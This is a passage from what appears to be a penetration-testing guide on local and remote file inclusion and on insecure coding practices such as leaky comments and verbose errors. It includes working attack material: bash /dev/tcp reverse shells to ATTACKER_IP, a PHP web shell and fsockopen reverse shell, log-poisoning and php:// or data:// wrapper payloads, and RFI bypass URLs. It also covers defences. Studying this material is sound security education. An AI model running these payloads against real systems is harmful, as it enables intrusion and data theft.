href="#get-a-reverse-shell-via-the-lfilog-poisoning-rce" class="anchor"> </a> Get a reverse shell via the LFI+log poisoning RCE: </h1> <h1> <a name="1-start-a-listener-on-your-attack-machine" href="#1-start-a-listener-on-your-attack-machine" class="anchor"> </a> 1. Start a listener on your attack machine: </h1> <p>nc -lvnp 4444</p> <h1> <a name="2-execute-a-reverse-shell-via-the-cmd-parameter" href="#2-execute-a-reverse-shell-via-the-cmd-parameter" class="anchor"> </a> 2. Execute a reverse shell via the cmd parameter: </h1> <p>?page=../../../var/log/apache2/access.log&cmd=bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261</p> <h1> <a name="url-decoded-command-bash-i-gtamp-devtcpattackerip4444-0gtamp1" href="#url-decoded-command-bash-i-gtamp-devtcpattackerip4444-0gtamp1" class="anchor"> </a> URL decoded command: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 </h1> <p>`<code></code></p> <h4> <a name="phase-3-alternative-lfitorce-paths" href="#phase-3-alternative-lfitorce-paths" class="anchor"> </a> Phase 3 — Alternative LFI-to-RCE Paths </h4> <p>When log poisoning fails (log file not accessible, log file too large to include, log path unknown), several alternative paths exist:</p> <p><strong>Via /proc/self/environ:</strong><br> <code></code>`bash</p> <h1> <a name="inject-php-into-environment-via-useragent" href="#inject-php-into-environment-via-useragent" class="anchor"> </a> Inject PHP into environment via User-Agent: </h1> <p>curl -A "<?php system(\$_GET['cmd']); ?>" <a href="http://target.com/">http://target.com/</a></p> <h1> <a name="include-the-environment-file" href="#include-the-environment-file" class="anchor"> </a> Include the environment file: </h1> <p>?page=../../../proc/self/environ&cmd=id</p> <h1> <a name="the-environment-file-contains-the-useragent-httpuseragent-variable" href="#the-environment-file-contains-the-useragent-httpuseragent-variable" class="anchor"> </a> The environment file contains the User-Agent (HTTP_USER_AGENT variable) </h1> <h1> <a name="when-included-php-executes-the-injected-code" href="#when-included-php-executes-the-injected-code" class="anchor"> </a> When included, PHP executes the injected code </h1> <p>`<code></code></p> <p><strong>Via PHP session files:</strong></p> <p>PHP stores session data in files like <code>/tmp/sess_[PHPSESSID]</code>. If you can inject PHP code into your session data and then include the session file via LFI:</p> <p><code></code>`php<br> // Step 1: Create a session with PHP code injection<br> // Visit a page that stores user input in the session:<br> // username = <?php system($_GET['cmd']); ?></p> <p>// Step 2: Get your PHPSESSID from the cookie (e.g., abc123)</p> <p>// Step 3: Include your session file:<br> // ?page=../../../tmp/sess_abc123&cmd=id<br> `<code></code></p> <p><strong>Via PHP wrappers (when include path is controlled):</strong></p> <p>PHP stream wrappers allow treating streams as if they were files. The <code>php://</code> wrapper is particularly powerful for LFI exploitation:</p> <p><code></code>`</p> <h1> <a name="phpfilter-read-file-contents-with-base64-encoding-avoids-php-execution" href="#phpfilter-read-file-contents-with-base64-encoding-avoids-php-execution" class="anchor"> </a> php://filter — read file contents with Base64 encoding (avoids PHP execution): </h1> <p>?page=php://filter/convert.base64-encode/resource=config.php</p> <h1> <a name="this-returns-the-base64encoded-source-code-of-configphp" href="#this-returns-the-base64encoded-source-code-of-configphp" class="anchor"> </a> This returns the Base64-encoded source code of config.php </h1> <h1> <a name="without-executing-it-allows-reading-php-file-contents-directly" href="#without-executing-it-allows-reading-php-file-contents-directly" class="anchor"> </a> without executing it — allows reading PHP file contents directly </h1> <h1> <a name="decode-the-output-echo-base64output-base64-d" href="#decode-the-output-echo-base64output-base64-d" class="anchor"> </a> Decode the output: echo "BASE64_OUTPUT" | base64 -d </h1> <h1> <a name="phpinput-include-the-http-request-body-as-php-code" href="#phpinput-include-the-http-request-body-as-php-code" class="anchor"> </a> php://input — include the HTTP request body as PHP code: </h1> <p>?page=php://input</p> <h1> <a name="with-post-body-containing-ltphp-systemid-gt" href="#with-post-body-containing-ltphp-systemid-gt" class="anchor"> </a> With POST body containing: <?php system('id'); ?> </h1> <h1> <a name="data-wrapper-include-a-data-uri-as-php-code" href="#data-wrapper-include-a-data-uri-as-php-code" class="anchor"> </a> data:// wrapper — include a data URI as PHP code: </h1> <p>?page=data://text/plain,<?php system('id')?><br> ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpPz4=</p> <h1> <a name="base64-of-ltphp-systemidgt" href="#base64-of-ltphp-systemidgt" class="anchor"> </a> (Base64 of: <?php system('id')?>) </h1> <h1> <a name="zip-and-phar-wrappers-for-file-upload-include-chains" href="#zip-and-phar-wrappers-for-file-upload-include-chains" class="anchor"> </a> zip:// and phar:// wrappers (for file upload + include chains): </h1> <h1> <a name="upload-a-php-web-shell-inside-a-zip-file-with-a-jpg-extension" href="#upload-a-php-web-shell-inside-a-zip-file-with-a-jpg-extension" class="anchor"> </a> Upload a PHP web shell inside a ZIP file with a .jpg extension </h1> <h1> <a name="if-file-uploads-are-allowed-but-php-is-blocked-by-extension" href="#if-file-uploads-are-allowed-but-php-is-blocked-by-extension" class="anchor"> </a> If file uploads are allowed but PHP is blocked by extension: </h1> <h1> <a name="zippathtouploadjpgshellphp" href="#zippathtouploadjpgshellphp" class="anchor"> </a> zip://path/to/upload.jpg#shell.php </h1> <p>`<code></code></p> <p><strong>The php://filter wrapper deserves special attention:</strong></p> <p><code></code>`bash</p> <h1> <a name="read-any-php-files-source-code-without-execution" href="#read-any-php-files-source-code-without-execution" class="anchor"> </a> Read any PHP file's source code without execution: </h1> <p>?page=php://filter/read=convert.base64-encode/resource=index.php<br> ?page=php://filter/read=convert.base64-encode/resource=config.php<br> ?page=php://filter/read=convert.base64-encode/resource=../../../etc/passwd</p> <h1> <a name="multiple-filter-chaining" href="#multiple-filter-chaining" class="anchor"> </a> Multiple filter chaining: </h1> <p>?page=php://filter/read=string.rot13|convert.base64-encode/resource=config.php</p> <h1> <a name="decode-the-output-on-your-machine" href="#decode-the-output-on-your-machine" class="anchor"> </a> Decode the output on your machine: </h1> <p>echo "BASE64_HERE" | base64 -d<br> `<code></code></p> <p>This is extremely powerful: it lets you read the source code of all PHP files in the application — revealing database credentials, API keys, business logic, and other vulnerabilities without triggering any code execution.</p> <h4> <a name="lfi-testing-methodology" href="#lfi-testing-methodology" class="anchor"> </a> LFI Testing Methodology </h4> <p><code></code>`bash</p> <h1> <a name="automated-lfi-testing-with-ffuf" href="#automated-lfi-testing-with-ffuf" class="anchor"> </a> Automated LFI testing with ffuf: </h1> <p>ffuf -u "<a href="http://target.com/page?file=FUZZ">http://target.com/page?file=FUZZ</a>" \<br> -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \<br> -fw 15 \<br> -mc 200</p> <h1> <a name="manual-testing-sequence" href="#manual-testing-sequence" class="anchor"> </a> Manual testing sequence: </h1> <h1> <a name="1-confirm-basic-traversal" href="#1-confirm-basic-traversal" class="anchor"> </a> 1. Confirm basic traversal: </h1> <p>curl "<a href="http://target.com/page?file=../../../etc/passwd">http://target.com/page?file=../../../etc/passwd</a>"</p> <h1> <a name="2-try-wrapperbased-reading-no-execution" href="#2-try-wrapperbased-reading-no-execution" class="anchor"> </a> 2. Try wrapper-based reading (no execution): </h1> <p>curl "<a href="http://target.com/page?file=php://filter/read=convert.base64-encode/resource=index">http://target.com/page?file=php://filter/read=convert.base64-encode/resource=index</a>"</p> <h1> <a name="decode-echo-output-base64-d" href="#decode-echo-output-base64-d" class="anchor"> </a> Decode: echo "OUTPUT" | base64 -d </h1> <h1> <a name="3-test-log-file-access" href="#3-test-log-file-access" class="anchor"> </a> 3. Test log file access: </h1> <p>curl "<a href="http://target.com/page?file=../../../var/log/apache2/access.log">http://target.com/page?file=../../../var/log/apache2/access.log</a>"</p> <h1> <a name="4-if-log-accessible-inject-php-via-useragent" href="#4-if-log-accessible-inject-php-via-useragent" class="anchor"> </a> 4. If log accessible: inject PHP via User-Agent: </h1> <p>curl -A '<?php system($_GET["cmd"]); ?>' "<a href="http://target.com/">http://target.com/</a>"</p> <h1> <a name="5-execute-code-via-log-inclusion" href="#5-execute-code-via-log-inclusion" class="anchor"> </a> 5. Execute code via log inclusion: </h1> <p>curl "<a href="http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id">http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id</a>"</p> <h1> <a name="6-get-reverse-shell" href="#6-get-reverse-shell" class="anchor"> </a> 6. Get reverse shell: </h1> <h1> <a name="set-up-listener-nc-lvnp-4444" href="#set-up-listener-nc-lvnp-4444" class="anchor"> </a> Set up listener: nc -lvnp 4444 </h1> <p>curl "<a href="http://target.com/page?file=../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+%3E%26+/dev/tcp/ATTACKER/4444+0%3E%261'">http://target.com/page?file=../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'</a>"<br> `<code></code></p> <hr> <h3> <a name="6113-remote-file-inclusion-rfi-serving-your-own-code-to-the-server" href="#6113-remote-file-inclusion-rfi-serving-your-own-code-to-the-server" class="anchor"> </a> 6.11.3 Remote File Inclusion (RFI) — Serving Your Own Code to the Server </h3> <h4> <a name="what-makes-rfi-different-and-more-directly-dangerous" href="#what-makes-rfi-different-and-more-directly-dangerous" class="anchor"> </a> What Makes RFI Different — And More Directly Dangerous </h4> <p>Remote File Inclusion is LFI's more immediately dangerous sibling. Instead of including a local file (which requires a secondary step to inject code into that file), RFI allows the attacker to include a file hosted on an attacker-controlled remote server. The server fetches the URL and executes whatever PHP code it finds there.</p> <p>This eliminates the need for any pre-injection step. If RFI is possible, Remote Code Execution is immediate.</p> <p><strong>PHP configuration requirements:</strong></p> <p>RFI only works when two PHP configuration directives are set:</p> <ul> <li><code>allow_url_fopen = On</code> — allows using URLs in file functions</li> <li><code>allow_url_include = On</code> — allows using URLs in include/require functions</li> </ul> <p><code>allow_url_include</code> has been <code>Off</code> by default since PHP 5.2.0. This significantly limits RFI in modern deployments. However:</p> <ul> <li>Legacy applications may have explicitly enabled these settings</li> <li>Hosting providers that configure PHP permissively may have them enabled</li> <li>Some application frameworks or deployment scripts re-enable them</li> </ul> <p><strong>Checking whether RFI is enabled:</strong><br> <code></code>`bash</p> <h1> <a name="test-with-a-url-that-logs-access" href="#test-with-a-url-that-logs-access" class="anchor"> </a> Test with a URL that logs access: </h1> <p>?page=<a href="http://your-burp-collaborator.burpcollaborator.net/test">http://your-burp-collaborator.burpcollaborator.net/test</a></p> <h1> <a name="if-you-receive-an-http-request-in-collaborator-→-allowurlinclude-is-on-→-rfi-possible" href="#if-you-receive-an-http-request-in-collaborator-→-allowurlinclude-is-on-→-rfi-possible" class="anchor"> </a> If you receive an HTTP request in Collaborator → allow_url_include is On → RFI possible </h1> <p>`<code></code></p> <h4> <a name="rfi-exploitation-from-discovery-to-shell" href="#rfi-exploitation-from-discovery-to-shell" class="anchor"> </a> RFI Exploitation — From Discovery to Shell </h4> <p><strong>Step 1: Prepare your malicious PHP file</strong></p> <p>Create a PHP web shell or reverse shell on your attack server:</p> <p><code></code><code>php<br> <?php<br> // Simple web shell — receives commands via GET parameter:<br> if(isset($_GET['cmd'])) {<br> echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';<br> }<br> ?><br> </code><code></code></p> <p>Or a full reverse shell PHP file:<br> <code></code><code>php<br> <?php<br> // PHP reverse shell (simplified):<br> $ip = 'ATTACKER_IP';<br> $port = 4444;<br> $sock = fsockopen($ip, $port);<br> $proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);<br> ?><br> </code><code></code></p> <p><strong>Step 2: Host your malicious file</strong></p> <p><code></code>`bash</p> <h1> <a name="start-a-simple-http-server-on-kali" href="#start-a-simple-http-server-on-kali" class="anchor"> </a> Start a simple HTTP server on Kali: </h1> <p>python3 -m http.server 8000</p> <h1> <a name="or-use-phps-builtin-server" href="#or-use-phps-builtin-server" class="anchor"> </a> Or use PHP's built-in server: </h1> <p>php -S 0.0.0.0:8000</p> <h1> <a name="using-ngrok-to-make-it-accessible-over-the-internet" href="#using-ngrok-to-make-it-accessible-over-the-internet" class="anchor"> </a> Using ngrok to make it accessible over the internet: </h1> <p>ngrok http 8000<br> `<code></code></p> <p><strong>Step 3: Include your remote file via the vulnerable parameter</strong></p> <p><code></code>`</p> <h1> <a name="basic-rfi" href="#basic-rfi" class="anchor"> </a> Basic RFI: </h1> <p>?page=<a href="http://ATTACKER_IP:8000/shell.php">http://ATTACKER_IP:8000/shell.php</a></p> <h1> <a name="with-command-execution" href="#with-command-execution" class="anchor"> </a> With command execution: </h1> <p>?page=<a href="http://ATTACKER_IP:8000/webshell.php&cmd=id">http://ATTACKER_IP:8000/webshell.php&cmd=id</a></p> <h1> <a name="if-the-application-appends-php-to-your-input" href="#if-the-application-appends-php-to-your-input" class="anchor"> </a> If the application appends .php to your input: </h1> <h1> <a name="host-a-file-without-extension-shell" href="#host-a-file-without-extension-shell" class="anchor"> </a> Host a file without extension: shell </h1> <h1> <a name="the-application-constructs-httpattackerip8000shellphp-→-your-shell-executes" href="#the-application-constructs-httpattackerip8000shellphp-→-your-shell-executes" class="anchor"> </a> The application constructs: <a href="http://ATTACKER_IP:8000/shell.php">http://ATTACKER_IP:8000/shell.php</a> → your shell executes </h1> <h1> <a name="using-https" href="#using-https" class="anchor"> </a> Using HTTPS: </h1> <p>?page=<a href="https://ATTACKER_IP:8443/shell.php">https://ATTACKER_IP:8443/shell.php</a></p> <h1> <a name="using-ftp-if-allowurlfopen-is-on-but-http-is-blocked" href="#using-ftp-if-allowurlfopen-is-on-but-http-is-blocked" class="anchor"> </a> Using FTP (if allow_url_fopen is on but http is blocked): </h1> <p>?page=<a href="ftp://ATTACKER_IP/shell.php">ftp://ATTACKER_IP/shell.php</a><br> `<code></code></p> <p><strong>Step 4: Receive the reverse shell</strong></p> <p><code></code>`bash</p> <h1> <a name="start-listener-before-triggering-the-rfi" href="#start-listener-before-triggering-the-rfi" class="anchor"> </a> Start listener before triggering the RFI: </h1> <p>nc -lvnp 4444</p> <h1> <a name="trigger-rfi-with-reverse-shell-php" href="#trigger-rfi-with-reverse-shell-php" class="anchor"> </a> Trigger RFI with reverse shell PHP: </h1> <p>curl "<a href="http://target.com/page?page=http://ATTACKER_IP:8000/revshell.php">http://target.com/page?page=http://ATTACKER_IP:8000/revshell.php</a>"</p> <h1> <a name="shell-appears-in-listener-window" href="#shell-appears-in-listener-window" class="anchor"> </a> Shell appears in listener window </h1> <p>`<code></code></p> <h4> <a name="rfi-with-obfuscation-and-waf-bypass" href="#rfi-with-obfuscation-and-waf-bypass" class="anchor"> </a> RFI with Obfuscation and WAF Bypass </h4> <p><code></code>`</p> <h1> <a name="null-byte-to-bypass-extension-appending" href="#null-byte-to-bypass-extension-appending" class="anchor"> </a> Null byte to bypass extension appending: </h1> <p>?page=<a href="http://ATTACKER_IP:8000/shell%00">http://ATTACKER_IP:8000/shell%00</a></p> <h1> <a name="double-encoding" href="#double-encoding" class="anchor"> </a> Double encoding: </h1> <p>?page=http%3A%2F%2FATTACKER_IP%3A8000%2Fshell.php</p> <h1> <a name="using-alternative-protocols" href="#using-alternative-protocols" class="anchor"> </a> Using alternative protocols: </h1> <p>?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+</p> <h1> <a name="base64-of-ltphp-systemgetcmd-gt" href="#base64-of-ltphp-systemgetcmd-gt" class="anchor"> </a> (Base64 of: <?php system($_GET['cmd']); ?>) </h1> <h1> <a name="this-is-technically-a-wrapperbased-inclusion-not-remote-but-achieves-same-result" href="#this-is-technically-a-wrapperbased-inclusion-not-remote-but-achieves-same-result" class="anchor"> </a> This is technically a wrapper-based inclusion, not remote, but achieves same result </h1> <h1> <a name="if-http-is-blocked-but-ftp-is-not" href="#if-http-is-blocked-but-ftp-is-not" class="anchor"> </a> If HTTP is blocked but FTP is not: </h1> <p>?page=<a href="ftp://ATTACKER_IP/shell.php">ftp://ATTACKER_IP/shell.php</a></p> <h1> <a name="using-smb-windows-targets" href="#using-smb-windows-targets" class="anchor"> </a> Using SMB (Windows targets): </h1> <p>?page=\ATTACKER_IP\share\shell.php<br> `<code></code></p> <h4> <a name="differences-between-lfi-and-rfi-side-by-side" href="#differences-between-lfi-and-rfi-side-by-side" class="anchor"> </a> Differences Between LFI and RFI — Side by Side </h4> <table><thead> <tr> <th>Aspect</th> <th>LFI</th> <th>RFI</th> </tr> </thead><tbody> <tr> <td>File location</td> <td>Same server (local)</td> <td>Remote attacker-controlled server</td> </tr> <tr> <td>PHP requirements</td> <td>Always works if include() used</td> <td>Requires <code>allow_url_include = On</code></td> </tr> <tr> <td>Direct RCE</td> <td>No (requires chaining)</td> <td>Yes (immediate)</td> </tr> <tr> <td>Prerequisites</td> <td>None</td> <td>allow_url_include enabled</td> </tr> <tr> <td>Modern prevalence</td> <td>Common</td> <td>Less common (PHP disabled by default)</td> </tr> <tr> <td>Stealth</td> <td>Reads local files (may trigger file audit logs)</td> <td>Makes outbound HTTP request (detectable in outbound logs)</td> </tr> <tr> <td>Key bypass technique</td> <td>Log poisoning, wrapper abuse</td> <td>Hosting malicious file remotely</td> </tr> </tbody></table> <h4> <a name="defending-against-file-inclusion" href="#defending-against-file-inclusion" class="anchor"> </a> Defending Against File Inclusion </h4> <p><strong>Primary defense — Never use user input in include/require:</strong><br> <code></code>`php<br> // SECURE: whitelist approach<br> $allowed_pages = ['home', 'about', 'contact', 'products'];<br> $page = $_GET['page'];</p> <p>if (!in_array($page, $allowed_pages)) {<br> include('404.php');<br> exit();<br> }</p> <p>include($page . '.php');<br> `<code></code></p> <p><strong>Configuration hardening:</strong><br> <code></code>`ini<br> ; php.ini — disable remote inclusion:<br> allow_url_fopen = Off<br> allow_url_include = Off</p> <p>; Disable dangerous PHP wrappers:<br> ; (Use Suhosin PHP extension for this)</p> <p>; Restrict file operations to web root:<br> open_basedir = /var/www/html:/tmp<br> `<code></code></p> <hr> <h2> <a name="612-exploiting-insecure-code-practices" href="#612-exploiting-insecure-code-practices" class="anchor"> </a> 6.12 Exploiting Insecure Code Practices </h2> <h3> <a name="6121-overview-the-code-quality-→-security-relationship" href="#6121-overview-the-code-quality-→-security-relationship" class="anchor"> </a> 6.12.1 Overview — The Code Quality → Security Relationship </h3> <p>There is a consistent pattern in web application security: the applications with the most severe vulnerabilities are also the applications with the poorest overall code quality. This is not coincidental — it reflects the same underlying engineering discipline (or lack thereof).</p> <p>An application where developers write verbose debug comments in production code is also likely to have inadequate input validation. An application with hard-coded credentials is also likely to have authorization checks as an afterthought. Poor engineering discipline manifests consistently across all dimensions of code quality.</p> <p>Section 6.12 addresses the class of vulnerabilities that stem directly from insecure coding habits — practices that no security-aware developer should follow, yet which appear persistently in production applications because they are convenient, because the team prioritized shipping over security, or because the security implications were never understood.</p> <p>These are also among the most immediately impactful findings in a penetration test, because they often require no sophisticated attack technique — they require only observation. Reading HTML source code, triggering an error, or examining an API response can reveal credentials, system architecture, and exploitable logic flaws that sophisticated attackers would spend days attempting to discover through more technical means.</p> <hr> <h3> <a name="6122-comments-in-source-code" href="#6122-comments-in-source-code" class="anchor"> </a> 6.12.2 Comments in Source Code </h3> <h4> <a name="the-problem-development-artifacts-left-in-production" href="#the-problem-development-artifacts-left-in-production" class="anchor"> </a> The Problem — Development Artifacts Left in Production </h4> <p>Comments are a normal and valuable part of software development. They explain why a function works the way it does, document parameters, and communicate between developers. The problem is when sensitive information is left in comments that become part of the output — visible to anyone who views the page source.</p> <p>In HTML and JavaScript that is delivered to the browser, every comment is readable by any user who opens the browser's developer tools or views the page source. Developers often leave comments from the development process — test credentials, internal endpoint paths, business logic notes, debugging information — without considering that this code will be delivered to potentially hostile clients.</p> <p><strong>What to look for in HTML comments:</strong></p> <p><code></code>`html</p> <!-- TODO: Remove test credentials before deployment: admin/Test123! --> <!-- Dev endpoint: /api/v2/internal/admin-override --> <!-- This form bypasses auth for legacy compatibility - fix after launch --> <!-- Database: prod-db-01.corp.local:3306, user: webapp, pass: Pr0d_DB_2024! --> <!-- NOTE: Skip validation if is_admin cookie is set to 1 --> <!-- AWS key: AKIAIOSFODNN7EXAMPLE, secret: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY --> <p>`<code></code></p> <p>Every one of these examples is representative of real findings from real penetration tests. The pattern is so consistent that viewing source code and HTML comments is one of the first things a professional web application tester does on any target.</p> <p><strong>JavaScript files are even richer:</strong></p> <p>JavaScript is delivered in full to the browser — including all function implementations, all internal endpoint paths used by the application's AJAX calls, and any comments or dead code:</p> <p><code></code>`javascript<br> // OLD ADMIN ENDPOINT - DO NOT USE IN PROD (but left for backward compat)<br> // GET /api/v1/superadmin/users returns all users without auth check<br> var adminEndpoint = '/api/v1/superadmin/users';</p> <p>// Test credentials: <a href="mailto:testuser@example.com">testuser@example.com</a> / T3st_p@ssword<br> // TODO: Remove before going live</p> <p>function debugMode() {<br> // This function disables CSRF checking for testing<br> // Called by: if (location.hash === '#debug') enableDebug();<br> }<br> `<code></code></p> <p>That last comment is extraordinary in a real application: it reveals that navigating to <code>https://target.com/#debug</code> calls a function that disables CSRF protection. A complete CSRF defense is broken by a hidden debug feature, revealed through a comment.</p> <p><strong>Systematic JavaScript comment mining:</strong></p> <p><code></code>`bash</p> <h1> <a name="download-all-javascript-files-from-a-site-and-search-for-sensitive-patterns" href="#download-all-javascript-files-from-a-site-and-search-for-sensitive-patterns" class="anchor"> </a> Download all JavaScript files from a site and search for sensitive patterns: </h1> <h1> <a name="1-from-burp-site-map-→-rightclick-target-→-copy-urls-in-scope" href="#1-from-burp-site-map-→-rightclick-target-→-copy-urls-in-scope" class="anchor"> </a> 1. From Burp: Site Map → right-click target → "Copy URLs in scope" </h1> <h1> <a name="2-use-wget-to-mirror-the-sites-js-files" href="#2-use-wget-to-mirror-the-sites-js-files" class="anchor"> </a> 2. Use wget to mirror the site's JS files: </h1> <p>wget -r -l2 -A.js <a href="https://target.com">https://target.com</a> -P /tmp/js_files/</p> <h1> <a name="3-search-for-sensitive-patterns" href="#3-search-for-sensitive-patterns" class="anchor"> </a> 3. Search for sensitive patterns: </h1> <p>grep -rn "TODO|FIXME|password|passwd|secret|key|token|api|endpoint|admin|debug|test|staging" \<br> /tmp/js_files/ --include="*.js" -i</p> <h1> <a name="4-look-for-commentedout-html-endpoints" href="#4-look-for-commentedout-html-endpoints" class="anchor"> </a> 4. Look for commented-out HTML endpoints: </h1> <p>grep -rn "<!--|http://|/api/|/admin|/internal" /tmp/js_files/</p> <h1> <a name="tools-for-automated-secret-detection-in-javascript" href="#tools-for-automated-secret-detection-in-javascript" class="anchor"> </a> Tools for automated secret detection in JavaScript: </h1> <h1> <a name="trufflehog-works-on-urls-too" href="#trufflehog-works-on-urls-too" class="anchor"> </a> trufflehog (works on URLs too): </h1> <p>trufflehog filesystem /tmp/js_files/</p> <h1> <a name="secretlint" href="#secretlint" class="anchor"> </a> secretlint: </h1> <p>secretlint /tmp/js_files/*<em>/</em>.js</p> <h1> <a name="jsfinder-finds-endpoints-and-secrets-in-js" href="#jsfinder-finds-endpoints-and-secrets-in-js" class="anchor"> </a> jsfinder - finds endpoints and secrets in JS: </h1> <p>python3 jsfinder.py -i <a href="https://target.com">https://target.com</a> -r<br> `<code></code></p> <p><strong>Endpoint discovery from JavaScript:</strong></p> <p>Modern Single-Page Applications (SPAs) built with React, Vue, or Angular bundle all their JavaScript into one or a few large files. These files contain every API endpoint the application uses. By extracting these endpoints, you build a complete map of the application's API surface — including endpoints that may not be accessible through the UI:</p> <p><code></code>`bash</p> <h1> <a name="linkfinder-extract-endpoints-from-javascript-files" href="#linkfinder-extract-endpoints-from-javascript-files" class="anchor"> </a> LinkFinder - extract endpoints from JavaScript files: </h1> <p>python3 linkfinder.py -i <a href="https://target.com">https://target.com</a> -d -o cli</p> <h1> <a name="or-target-a-specific-js-file" href="#or-target-a-specific-js-file" class="anchor"> </a> Or target a specific JS file: </h1> <p>python3 linkfinder.py -i <a href="https://target.com/static/app.bundle.js">https://target.com/static/app.bundle.js</a> -o cli</p> <h1> <a name="manually-in-browser-open-devtools-→-sources-→-search-for-api-patterns" href="#manually-in-browser-open-devtools-→-sources-→-search-for-api-patterns" class="anchor"> </a> Manually in browser: open DevTools → Sources → search for API patterns </h1> <h1> <a name="search-for-api-fetch-xmlhttprequest-ajax-axiosget" href="#search-for-api-fetch-xmlhttprequest-ajax-axiosget" class="anchor"> </a> Search for: /api/, fetch(, XMLHttpRequest, $.ajax, axios.get </h1> <p>`<code></code></p> <hr> <h3> <a name="6123-lack-of-error-handling-and-overly-verbose-error-handling" href="#6123-lack-of-error-handling-and-overly-verbose-error-handling" class="anchor"> </a> 6.12.3 Lack of Error Handling and Overly Verbose Error Handling </h3> <h4> <a name="why-error-messages-are-a-reconnaissance-goldmine" href="#why-error-messages-are-a-reconnaissance-goldmine" class="anchor"> </a> Why Error Messages Are a Reconnaissance Goldmine </h4> <p>When an application encounters an unexpected condition — an invalid database query, a malformed request, a missing required parameter — it must decide what to tell the user. The secure answer is: very little. "Something went wrong. Please try again." The common answer in development-mode or poorly configured production applications is: everything.</p> <p>A verbose error message is simultaneously a sign of poor code quality and an intelligence asset for an attacker. A single stack trace can reveal:</p> <ul> <li>The programming language and runtime version</li> <li>The web framework and its version</li> <li>The database system and version</li> <li>The server-side file structure</li> <li>The internal class and method names</li> <li>The exact query that failed (exposing table names, column names, and query logic)</li> <li>Internal IP addresses and hostnames</li> <li>Configuration values that leaked into the error context</li> </ul> <p><strong>What different error types reveal:</strong></p> <p><strong>PHP errors:</strong><br> <code></code>`<br> Fatal error: Uncaught PDOException: SQLSTATE[42000]: <br> Syntax error or access violation: <br> 1064 You have an error in your SQL syntax; <br> check the manual that corresponds to your MySQL 8.0.33 server<br> for the right syntax to use near '''' at line 1</p> <p>in /var/www/html/application/models/UserModel.php:142<br> Stack trace:</p> <h1> <a name="0-varwwwhtmlapplicationmodelsusermodelphp142-pdogtquery" href="#0-varwwwhtmlapplicationmodelsusermodelphp142-pdogtquery" class="anchor"> </a> 0 /var/www/html/application/models/UserModel.php(142): PDO->query() </h1> <h1> <a name="1-varwwwhtmlapplicationcontrollersauthcontrollerphp67-usermodelgtgetuser" href="#1-varwwwhtmlapplicationcontrollersauthcontrollerphp67-usermodelgtgetuser" class="anchor"> </a> 1 /var/www/html/application/controllers/AuthController.php(67): UserModel->getUser() </h1> <p>`<code></code></p> <p>This single error reveals: MySQL 8.0.33, the database type is MySQL, the file system path is <code>/var/www/html/</code>, the application has <code>models/</code> and <code>controllers/</code> directories, the authentication controller is <code>AuthController.php</code>, and the user retrieval method is <code>getUser()</code> — plus a SQL syntax error that confirms SQL injection is possible.</p> <p><strong>Python/Django errors:</strong><br> <code></code>`<br> Traceback (most recent call last):<br> File "/usr/local/lib/python3.10/site-packages/django/core/handlers/exception.py", line 55, in inner<br> response = get_response(request)<br> File "/app/views.py", line 23, in profile_view<br> user = User.objects.get(username=request.GET['user'])<br> django.contrib.auth.models.User.DoesNotExist: User matching query does not exist.</p> <p>Request Method: GET<br> Request URL: <a href="https://target.com/profile/?user=alice">https://target.com/profile/?user=alice</a><br> Django Version: 3.2.15<br> Exception Type: DoesNotExist<br> Python Version: 3.10.4<br> Server time: Wed, 15 Jul 2026 10:30:00 +0000<br> `<code></code></p> <p>Django version 3.2.15. Python 3.10.4. The source code line <code>User.objects.get(username=request.GET['user'])</code> is shown — directly revealing the query structure for user lookup and confirming the parameter name.</p> <p><strong>Java/Spring stack traces:</strong><br> <code></code>`<br> java.lang.NullPointerException: Cannot invoke <br> "com.targetapp.models.User.getEmail()" because "user" is null<br> at com.targetapp.controllers.AccountController.updateProfile(AccountController.java:145)<br> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)<br> ...</p> <p>Caused by: org.springframework.dao.EmptyResultDataAccessException: <br> Incorrect result size: expected 1, actual 0<br> `<code></code></p> <p>Reveals: Java Spring framework, package structure (<code>com.targetapp</code>), controller name (<code>AccountController</code>), database interaction pattern.</p> <h4> <a name="provoking-informative-errors" href="#provoking-informative-errors" class="anchor"> </a> Provoking Informative Errors </h4> <p>A key penetration testing technique is deliberately triggering errors to extract information:</p> <p><code></code>`bash</p> <h1> <a name="sql-syntax-errors-to-confirm-sqli-and-learn-database-type" href="#sql-syntax-errors-to-confirm-sqli-and-learn-database-type" class="anchor"> </a> SQL syntax errors (to confirm SQLi and learn database type): </h1> <p>?id='<br> ?id=1'<br> ?search=<</p> <h1> <a name="type-mismatch-errors" href="#type-mismatch-errors" class="anchor"> </a> Type mismatch errors: </h1> <p>?user_id=alice # If expecting integer<br> ?page=99999999 # Out of range ID</p> <h1> <a name="missing-required-parameters" href="#missing-required-parameters" class="anchor"> </a> Missing required parameters: </h1> <h1> <a name="remove-parameters-from-post-requests-to-see-validation-errors" href="#remove-parameters-from-post-requests-to-see-validation-errors" class="anchor"> </a> Remove parameters from POST requests to see validation errors </h1> <h1> <a name="malformed-jsonxml" href="#malformed-jsonxml" class="anchor"> </a> Malformed JSON/XML: </h1> <h1> <a name="send-user-invalidjson" href="#send-user-invalidjson" class="anchor"> </a> Send: {"user": invalid_json} </h1> <h1> <a name="or-ltunclosed" href="#or-ltunclosed" class="anchor"> </a> Or: <root><unclosed </h1> <h1> <a name="very-long-input" href="#very-long-input" class="anchor"> </a> Very long input: </h1> <p>?name=AAAAAAAAAA... # 10000+ characters</p> <h1> <a name="special-characters-that-break-parsers" href="#special-characters-that-break-parsers" class="anchor"> </a> Special characters that break parsers: </h1> <p>?param=../../etc/passwd # Path traversal + error on some systems<br> ?param=null<br> ?param=undefined<br> ?param[] # Array-type parameter confusion</p> <h1> <a name="http-method-mismatch" href="#http-method-mismatch" class="anchor"> </a> HTTP method mismatch: </h1> <h1> <a 